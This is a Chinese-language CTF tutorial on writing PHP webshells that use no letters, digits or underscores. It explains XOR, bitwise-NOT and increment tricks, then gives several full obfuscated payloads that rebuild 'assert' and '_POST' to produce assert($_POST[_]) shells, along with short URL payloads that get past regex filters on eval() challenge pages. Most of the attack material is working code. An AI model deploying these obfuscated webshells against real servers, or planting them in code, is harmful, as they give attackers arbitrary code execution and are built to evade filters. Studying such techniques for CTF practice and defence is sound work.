不用字母数字下划线的webshell

铺垫知识

异或^

在 PHP 中两个变量进行异或时,会先将字符串转换成 ASCII 值,再将 ASCII 值转换成二进制再进行异或,异或完又将结果从二进制转换成ASCII值,再转换成字符串。

1
2
3
4
5
6
7
8
php > @$_++;echo $_;
1
php > echo "."^"~";
P
php > echo ']@\`@@]'^':%(&,!:';
getFlag
php > echo 'Flag'^':@&:';
|,G]

取反~

负数用十六进制表示,通常用的是补码的方式表示。负数的补码是它本身的值每位求反,最后再加一。

1
2
3
4
5
6
7
8
9
php > echo ~䏀[1];
PHP Notice: Use of undefined constant 䏀 - assumed '䏀' in php shell code on line 1
p
php > echo ~'䏀'[1];
p
php > echo ~"\x8c";
s
php > echo ~"\xa0\xb8\xba\xab";
_GET

不用数字构造数字

php 中未定义的变量默认值为 null,null==false==0

所以能通过对未定义变量的自增操作来得到一个数字。

1
2
3
4
5
6
php > $_++;echo $_;
PHP Notice: Undefined variable: _ in php shell code on line 1
1
//加个@不会报错
php > @$_++;echo $_;
1

null==null==1,只能是一不能增减

1
2
3
4
5
6
7
8
php > $_=_==_;echo $_;
PHP Notice: Use of undefined constant _ - assumed '_' in php shell code on line 1
PHP Notice: Use of undefined constant _ - assumed '_' in php shell code on line 1
1
//加个@不会报错
php > @$_=_==_;echo $_;
1
php > echo $_++;

有了数字1也就能构造其他数字

1
2
3
4
5
php > $_=('>'>'<')+('>'>'<');
php > print($_);
2
php > print($_/$_);
1

递增/递减运算符

字符变量只能递增不能递减,只支持纯字母

1
2
3
4
5
6
7
8
php > $_='a';
php > echo ++$_;
b
php > echo ++$_;
c
php > $_='z';
php > echo ++$_;
aa

强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array。再取这个字符串的第一个字母,就可以获得 ‘A’。

1
2
3
4
5
6
php > $_=[];
php > $_=@"$_";
php > echo $_;
Array
php > echo $_[0];
A

不用数字字母的webshell

栗子1

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

payload

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST

$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

栗子2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

code长度不超过40,上面的方法就不行了

payload1

1
2
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag
?code=$_="`{{{"^"?<>/";${$_}[_]();&_=getFlag//括号里不需要再写。。

表示 _GET${$_}[_](${$_}[__]);等于 $_GET[_]($_GET[__]);,传getFlag给_

payload2
直接写getFlag()函数

1
?code=$_=('][%2B:@_:'^':>_|,>]');$_();

注意这里+要写成%2B的url编码形式

不用数字字母下划线的webshell

栗子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

include'flag.php';

if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

payload

1
"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

精简后

${"`{{{"^"?<>/"}['+']();&+=getFlag

这里利用了${}中的代码是可以执行的特点,其实也就是可变变量。

payload2
取反

1
?code=%24%7B%7E%22%A0%B8%BA%AB%22%7D%5B%AA%5D%28%29%3B&%aa=getFlag

payload3

1
code=$啊=(%27%5D%40%5C%60%40%40%5D%27^%27%3A%25%28%26%2C%21%3A%27);$啊();

SUCTF getshell

  • 只剩下$().;=[]_~\n能用
1
2
3
4
$_=_==_;
$__=~䏀[$_].~䍀[$_].~䖀[$_].~䑀[$_].~䋀[$_].~䙀[$_];
$___=~䠀[$_].~一[$_].~亀[$_].~䫀[$_];
$__($$___[$_]); // printf($_GET["1"]);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
$__=[];
$___=[];
$_=$__==$___;//true = 1 用作索引

$__=~(瞰);
$___=$__[$_];//a
$__=~(北);
$___.=$__[$_].$__[$_];//ss
$__=~(的);
$___.=$__[$_];//e
$__=~(半);
$___.=$__[$_];//r
$__=~(拾);
$___.=$__[$_];//t

$____=~(~(_));//_
$__=~(说);
$____.=$__[$_];//P
$__=~(小);
$____.=$__[$_];//O
$__=~(次);
$____.=$__[$_];//S
$__=~(站);
$____.=$__[$_];//T

$_=$$____;
$___($_[_]);
?>